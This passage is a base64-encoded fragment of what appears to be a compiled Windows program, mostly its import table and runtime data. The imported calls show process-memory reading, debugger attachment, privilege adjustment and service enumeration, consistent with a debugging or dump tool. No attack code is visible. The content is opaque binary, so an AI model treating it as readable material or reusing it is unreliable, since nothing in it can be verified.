AABjZAQAwAAAAAQAAABkeCAAPkgvwCeAHwAVwBGADUAIwGNkBAEgAAAABFQYAFWQQABU0DgAVshFwAQkBAAliAAARGwoAG2QMABs0CwAbMhfwFeAT0BHAD3AcswEAAQAAADBnAgBjZwIACroCAAAAAAABHAkAHKIV8BPgEdAPwA1wDGALMApQAAABEAYAEGQRABCyCeAHcAZQEQ8EAA80BgAPMgtwHLMBAAEAAAB2cwIAgnMCACG6AgAAAAAAAQ0GAA00CgANMgngB3AGYBklCgAWVBEAFjQQABZyEvAQ4A7QDHALYBjZAQA4AAAAAQQBAARiAAAZKAoAGjQbABryEPAO4AzQCsAIcAdgBlAY2QEAcAAAABEKBAAKNAwACpIGcByzAQABAAAAp34CAMt+AgA5ugIAAAAAAAElCwAlNBsAJQESABrwGOAW0BTAEnARYBBQAAABFAgAFGQQABRUDwAUNA4AFLIQcAEZCgAZdA0AGWQMABlUCwAZNAoAGXIV4AEEAQAEQgAAGRwEAA00FAAN8gZwGNkBAHgAAAAZGgQAC/IEcANgAjAY2QEAeAAAABkfBgARAREABXAEYAMwAlAY2QEAcAAAAAESCAASVAoAEjQIABIyDuAMcAtgAR0MAB10CwAdZAoAHVQJAB00CAAdMhnwF+AV0BktDAAfdBUAH2QUAB80EgAfshjwFuAU0BLAEFAY2QEAWAAAABkqCwAcNB4AHAEUABDwDuAM0ArACHAHYAZQAAAY2QEAmAAAABkqCwAcNCEAHAEYABDwDuAM0ArACHAHYAZQAAAY2QEAsAAAAAEYCgAYZAgAGFQHABg0BgAYEhTgEsAQcAEZCgAZdAkAGWQIABlUBwAZNAYAGTIV4AAAAAAAAAAA3EkBAAAAAAAYngQAAAAAAAAAAAAAAAAAAAAAAAIAAAAwngQAWJ4EAAAAAAAAAAAAAAAAABAAAAAw2QQAAAAAAP////8AAAAAGAAAAExJAQAAAAAAAAAAAAAAAAAAAAAAWNkEAAAAAAD/////AAAAABgAAACskQEAAAAAAAAAAAAAAAAAAAAAAIDZBAAAAAAA/////wAAAAAYAAAAlEkBAAAAAAAAAAAAAAAAAAAAAADsSQEAAAAAAMieBAAAAAAAAAAAAAAAAAAAAAAAAwAAAOieBACAngQAWJ4EAAAAAAAAAAAAAAAAAAAAAAAAAAAAqNkEAAAAAAD/////AAAAABgAAABwSQEAAAAAAAAAAAAAAAAAAAAAAOxJAQAAAAAAMJ8EAAAAAAAAAAAAAAAAAAAAAAADAAAAUJ8EAICeBABYngQAAAAAAAAAAAAAAAAAAAAAAAAAAADQ2QQAAAAAAP////8AAAAAGAAAALhJAQAAAAAAAAAAAAAAAAAAAAAA/C8CAAAAAACYnwQAAAAAAAAAAAAAAAAAAAAAAAIAAACwnwQAWJ4EAAAAAAAAAAAAAAAAAAAAAAAY2gQAAAAAAP////8AAAAAGAAAANgvAgAAAAAAAAAAACilBAAAAAAAAAAAAKimBABgxAIA6KUEAAAAAAAAAAAA9KYEACDFAgBYpQQAAAAAAAAAAAAMpwQAkMQCAJChBAAAAAAAAAAAAPqrBADIwAIAaKUEAAAAAAAAAAAAAq0EAKDEAgBYoQQAAAAAAAAAAABYrQQAkMACAEihBAAAAAAAAAAAAG6tBACAwAIAyKAEAAAAAAAAAAAAlq4EAADAAgBIpQQAAAAAAAAAAAC6rgQAgMQCAAimBAAAAAAAAAAAAC6vBABAxQIAOKYEAAAAAAAAAAAAjq8EAHDFAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB+rgQAAAAAAGyuBAAAAAAAVq4EAAAAAAA+rgQAAAAAACauBAAAAAAAEq4EAAAAAAAArgQAAAAAAPCtBAAAAAAA3q0EAAAAAADMrQQAAAAAAL6tBAAAAAAArq0EAAAAAACgrQQAAAAAAIytBAAAAAAAfK0EAAAAAAAAAAAAAAAAAGKtBAAAAAAAAAAAAAAAAABOrQQAAAAAAEKtBAAAAAAAMq0EAAAAAAAkrQQAAAAAAA6tBAAAAAAAGK0EAAAAAAAAAAAAAAAAABioBAAAAAAALqgEAAAAAAA2qAQAAAAAAE6oBAAAAAAAYqgEAAAAAAByqAQAAAAAAIaoBAAAAAAAlKgEAAAAAACqqAQAAAAAAMSoBAAAAAAA0qgEAAAAAADkqAQAAAAAAPioBAAAAAAAFKkEAAAAAAAiqQQAAAAAADKpBAAAAAAAQqkEAAAAAABYqQQAAAAAAGypBAAAAAAAfKkEAAAAAACMqQQAAAAAAJ6pBAAAAAAAtKkEAAAAAADQqQQAAAAAAOSpBAAAAAAA/KkEAAAAAAAQqgQAAAAAADKqBAAAAAAASKoEAAAAAABiqgQAAAAAAHqqBAAAAAAAjKoEAAAAAACcqgQAAAAAALaqBAAAAAAACqgEAAAAAADcqgQAAAAAAPiqBAAAAAAADqsEAAAAAAAcqwQAAAAAACyrBAAAAAAAOqsEAAAAAABKqwQAAAAAAFirBAAAAAAAZqsEAAAAAAB4qwQAAAAAAIyrBAAAAAAAnqsEAAAAAACyqwQAAAAAAMarBAAAAAAA1qsEAAAAAADoqwQAAAAAAKqyBAAAAAAAkLIEAAAAAAB2sgQAAAAAAFyyBAAAAAAAQrIEAAAAAAAwsgQAAAAAACCyBAAAAAAADLIEAAAAAAAAsgQAAAAAAO6xBAAAAAAA3LEEAAAAAADSsQQAAAAAAMSxBAAAAAAAtrEEAAAAAACqsQQAAAAAAIKxBAAAAAAA8qcEAAAAAAD+sgQAAAAAANqnBAAAAAAAzqcEAAAAAAC+pwQAAAAAAKinBAAAAAAAnKcEAAAAAACOpwQAAAAAAICnBAAAAAAAbqcEAAAAAABepwQAAAAAAE6nBAAAAAAAOqcEAAAAAAAopwQAAAAAABinBAAAAAAAuLIEAAAAAADIsgQAAAAAAN6yBAAAAAAA7rIEAAAAAADIqgQAAAAAAGSxBAAAAAAASLEEAAAAAAA0sQQAAAAAACCxBAAAAAAAFLEEAAAAAAACsQQAAAAAAOywBAAAAAAA4LAEAAAAAADUsAQAAAAAAMqwBAAAAAAAuLAEAAAAAACWrwQAAAAAAKavBAAAAAAAtq8EAAAAAADCrwQAAAAAAM6vBAAAAAAA4K8EAAAAAAD0rwQAAAAAAAawBAAAAAAAHLAEAAAAAAAysAQAAAAAAEKwBAAAAAAAXrAEAAAAAABysAQAAAAAAISwBAAAAAAAnrAEAAAAAACssAQAAAAAAAAAAAAAAAAAdqYEAAAAAACMpgQAAAAAAGCmBAAAAAAAAAAAAAAAAACkrgQAAAAAAAAAAAAAAAAAAKcEAAAAAAAAAAAAAAAAAD6sBAAAAAAASqwEAAAAAAAqrAQAAAAAAAisBAAAAAAAGqwEAAAAAAD2rAQAAAAAAOSsBAAAAAAA1qwEAAAAAADErAQAAAAAAKisBAAAAAAAmqwEAAAAAACOrAQAAAAAAHSsBAAAAAAAZqwEAAAAAABYrAQAAAAAAAAAAAAAAAAA4qYEAAAAAACypgQAAAAAAMimBAAAAAAAAAAAAAAAAAAIrwQAAAAAAOquBAAAAAAAxq4EAAAAAADYrgQAAAAAAByvBAAAAAAAAAAAAAAAAABWrwQAAAAAAGavBAAAAAAAeK8EAAAAAAA4rwQAAAAAAAAAAAAAAAAADgBHZXRNb2R1bGVCYXNlTmFtZVcAAAQARW51bVByb2Nlc3NNb2R1bGVzAAAUAEdldFByb2Nlc3NJbWFnZUZpbGVOYW1lVwAAUFNBUEkuRExMAAYAR2V0RmlsZVZlcnNpb25JbmZvVwAFAEdldEZpbGVWZXJzaW9uSW5mb1NpemVXAA4AVmVyUXVlcnlWYWx1ZVcAAFZFUlNJT04uZGxsAEUBU3RyU3RySVcAAFNITFdBUEkuZGxsAIUAQ3JlYXRlRXZlbnRXAACNAUdldENvbW1hbmRMaW5lVwAeAkdldE1vZHVsZUhhbmRsZVcAAEEDTG9hZExpYnJhcnlXAABrAkdldFN0ZEhhbmRsZQAATAJHZXRQcm9jQWRkcmVzcwAARgNMb2NhbEFsbG9jAAD6AUdldEZpbGVUeXBlAEoDTG9jYWxGcmVlABoCR2V0TW9kdWxlRmlsZU5hbWVXAACsAkdldFZlcnNpb25FeFcAZwRTZXRFdmVudAAAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAUgBDbG9zZUhhbmRsZQAIBVdhaXRGb3JTaW5nbGVPYmplY3QAwARTbGVlcADSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgCNAkdldFRocmVhZENvbnRleHQAAJoCR2V0VGlja0NvdW50AADGA1JlYWRQcm9jZXNzTWVtb3J5AIcDT3BlblRocmVhZAAAxgBEZWJ1Z0FjdGl2ZVByb2Nlc3MAAMcARGVidWdBY3RpdmVQcm9jZXNzU3RvcAAAaAFGcmVlTGlicmFyeQCoAENyZWF0ZVByb2Nlc3NXAADGAUdldEN1cnJlbnRQcm9jZXNzAOoCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgCCA09wZW5Qcm9jZXNzAAgCR2V0TGFzdEVycm9yAACABFNldExhc3RFcnJvcgAAZwBDb250aW51ZURlYnVnRXZlbnQAAAUFV2FpdEZvckRlYnVnRXZlbnQAFgRSZXN1bWVUaHJlYWQAALQAQ3JlYXRlVGhyZWFkAABkAUZvcm1hdE1lc3NhZ2VXAABpA011bHRpQnl0ZVRvV2lkZUNoYXIAIwFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NXAM4EVGVybWluYXRlUHJvY2VzcwAAOwRTZXRDb25zb2xlQ3RybEhhbmRsZXIAAgJHZXRGdWxsUGF0aE5hbWVXAADMBFN5c3RlbVRpbWVUb1R6U3BlY2lmaWNMb2NhbFRpbWUA8QFHZXRGaWxlQXR0cmlidXRlc1cAAOIBR2V0RW52aXJvbm1lbnRWYXJpYWJsZUEAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAmANQcm9jZXNzMzJGaXJzdFcAegJHZXRTeXN0ZW1JbmZvAAYFV2FpdEZvck11bHRpcGxlT2JqZWN0cwAAmgNQcm9jZXNzMzJOZXh0VwAAAgNJc0RlYnVnZ2VyUHJlc2VudAC9AENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAxwFHZXRDdXJyZW50UHJvY2Vzc0lkAMgARGVidWdCcmVhawAAfgJHZXRTeXN0ZW1UaW1lAI8AQ3JlYXRlRmlsZVcA+AFHZXRGaWxlU2l6ZUV4ANcARGVsZXRlRmlsZVcAHwFFeGl0UHJvY2VzcwDPAUdldERhdGVGb3JtYXRXAAB1BFNldEZpbGVQb2ludGVyRXgAAJ4CR2V0VGltZUZvcm1hdFcAAAEEUmVsZWFzZVNlbWFwaG9yZQAArgBDcmVhdGVTZW1hcGhvcmVXAABTAkdldFByb2Nlc3NJZAAA4QBEZXZpY2VJb0NvbnRyb2wAAQVWaXJ0dWFsUXVlcnlFeAAAS0VSTkVMMzIuZGxsAADTAlNldFdpbmRvd1RleHRXAACAAlNlbmRNZXNzYWdlVwAAfgFHZXRTeXNDb2xvckJydXNoAADaAEVuZERpYWxvZwApAUdldERsZ0l0ZW0AALkBSW5mbGF0ZVJlY3QA7wFMb2FkQ3Vyc29yVwCqAERpYWxvZ0JveEluZGlyZWN0UGFyYW1XAI4CU2V0Q3Vyc29yAP0BTG9hZFN0cmluZ0EAqAFHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQAAOQBSXNXaW5kb3dWaXNpYmxlAPIARW51bVdpbmRvd3MA1AFJc0h1bmdBcHBXaW5kb3cAOwN3c3ByaW50ZlcAVVNFUjMyLmRsbAAA7wBFbmREb2MAALACU3RhcnREb2NXAJQCU2V0TWFwTW9kZQAAywFHZXREZXZpY2VDYXBzALICU3RhcnRQYWdlAPIARW5kUGFnZQBHREkzMi5kbGwAFQBQcmludERsZ1cAQ09NRExHMzIuZGxsAABkAlJlZ0NyZWF0ZUtleVcAlgJSZWdRdWVyeVZhbHVlRXhXAACMAlJlZ09wZW5LZXlXAIkCUmVnT3BlbktleUV4VwBYAlJlZ0Nsb3NlS2V5AKYCUmVnU2V0VmFsdWVFeFcAAGECUmVnQ3JlYXRlS2V5RXhXAGwCUmVnRGVsZXRlS2V5VwBwAlJlZ0RlbGV0ZVZhbHVlVwASAk9wZW5Qcm9jZXNzVG9rZW4AAK0BTG9va3VwUHJpdmlsZWdlVmFsdWVXAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAGUAQ2xvc2VTZXJ2aWNlSGFuZGxlAAAUAk9wZW5TQ01hbmFnZXJXAAASAUVudW1TZXJ2aWNlc1N0YXR1c0V4VwBBRFZBUEkzMi5kbGwAAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbABwAENvVW5pbml0aWFsaXplAABDAENvSW5pdGlhbGl6ZUV4AAAOAENvQWxsb3dTZXRGb3JlZ3JvdW5kV2luZG93AAAUAENvQ3JlYXRlSW5zdGFuY2UAAAwAQ0xTSURGcm9tU3RyaW5nAG9sZTMyLmRsbABBAFBkaEdldEZvcm1hdHRlZENvdW50ZXJWYWx1ZQBXAFBkaE9wZW5RdWVyeVcAAwBQZGhBZGRDb3VudGVyVwAAEgBQZGhDb2xsZWN0UXVlcnlEYXRhAHBkaC5kbGwA7gBFbmNvZGVQb2ludGVyAMsARGVjb2RlUG9pbnRlcgDXAkhlYXBGcmVlAADTAkhlYXBBbGxvYwCyAUdldENvbnNvbGVNb2RlAAC4A1JlYWRDb25zb2xlSW5wdXRBAEsEU2V0Q29uc29sZU1vZGUAAB0CR2V0TW9kdWxlSGFuZGxlRXhXAAAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUAlARTZXRTdGRIYW5kbGUAAAYDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudAAhBFJ0bFBjVG9GaWxlSGVhZGVyALQDUmFpc2VFeGNlcHRpb24AAB8EUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAJQRSdGxVbndpbmRFeADcAkhlYXBTaXplAAAMA0lzVmFsaWRDb2RlUGFnZQBuAUdldEFDUAAAPgJHZXRPRU1DUAAAeAFHZXRDUEluZm8AywFHZXRDdXJyZW50VGhyZWFkSWQAAFECR2V0UHJvY2Vzc0hlYXAAADQFV3JpdGVGaWxlABgEUnRsQ2FwdHVyZUNvbnRleHQAJgRSdGxWaXJ0dWFsVW53aW5kAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50ANMEVGxzQWxsb2MAANUEVGxzR2V0VmFsdWUA1gRUbHNTZXRWYWx1ZQDUBFRsc0ZyZWUAagJHZXRTdGFydHVwSW5mb1cAQANMb2FkTGlicmFyeUV4VwAAwwNSZWFkRmlsZQAAXQFGbHVzaEZpbGVCdWZmZXJzAACgAUdldENvbnNvbGVDUAAAcAJHZXRTdHJpbmdUeXBlVwAAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAZwFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDaAkhlYXBSZUFsbG9jAC8DTENNYXBTdHJpbmdXAACMA091dHB1dERlYnVnU3RyaW5nVwAAMwVXcml0ZUNvbnNvbGVXAMEDUmVhZENvbnNvbGVXAABhBFNldEVuZE9mRmlsZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAYAsFQAEAAAAAAAAAAAAAAGALBUABAAAAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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EQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwygRAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALDKBEABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANQEQAEAAAAAAAAAAAAAAAAAAAAAAAAAEDMDQAEAAACgNwNAAQAAACA5A0ABAAAAwMoEQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+////AAAAABQ1A0ABAAAAjO8CQAEAAACY7wJAAQAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v////////8AAAAAAAAAAP////8AAAAAAAAAAAAAAAB4ZgJAAQAAAHhmAkABAAAAeGYCQAEAAAB4ZgJAAQAAAHhmAkABAAAAeGYCQAEAAAB4ZgJAAQAAAHhmAkABAAAAeGYCQAEAAAB4ZgJAAQAAAP//////////gAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAAA4CcDQAEAAAAdAAAAAAAAAOQnA0ABAAAAGgAAAAAAAADoJwNAAQAAABsAAAAAAAAA7CcDQAEAAAAfAAAAAAAAAPQnA0ABAAAAEwAAAAAAAAD8JwNAAQAAACEAAAAAAAAABCgDQAEAAAAOAAAAAAAAAAwoA0ABAAAADQAAAAAAAAAUKANAAQAAAA8AAAAAAAAAHCgDQAEAAAAQAAAAAAAAACQoA0ABAAAABQAAAAAAAAAsKANAAQAAAB4AAAAAAAAANCgDQAEAAAASAAAAAAAAADgoA0ABAAAAIAAAAAAAAAA8KANAAQAAAAwAAAAAAAAAQCgDQAEAAAALAAAAAAAAAEgoA0ABAAAAFQAAAAAAAABQKANAAQAAABwAAAAAAAAAWCgDQAEAAAAZAAAAAAAAAGAoA0ABAAAAEQAAAAAAAABoKANAAQAAABgAAAAAAAAA0NoCQAEAAAAWAAAAAAAAAHAoA0ABAAAAFwAAAAAAAAB4KANAAQAAACIAAAAAAAAAgCgDQAEAAAAjAAAAAAAAAIQoA0ABAAAAJAAAAAAAAACIKANAAQAAACUAAAAAAAAAjCgDQAEAAAAmAAAAAAAAAJgoA0ABAAAAlCYAAAAAAAAAAAAAAAAAAJjUBEABAAAAIPAEQAEAAAAg8ARAAQAAACDwBEABAAAAIPAEQAEAAAAg8ARAAQAAACDwBEABAAAAIPAEQAEAAAAg8ARAAQAAACDwBEABAAAAf39/f39/f3+c1ARAAQAAACTwBEABAAAAJPAEQAEAAAAk8ARAAQAAACTwBEABAAAAJPAEQAEAAAAk8ARAAQAAACTwBEABAAAALgAAAC4AAAAA1ARAAQAAABAzA0ABAAAAEjUDQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA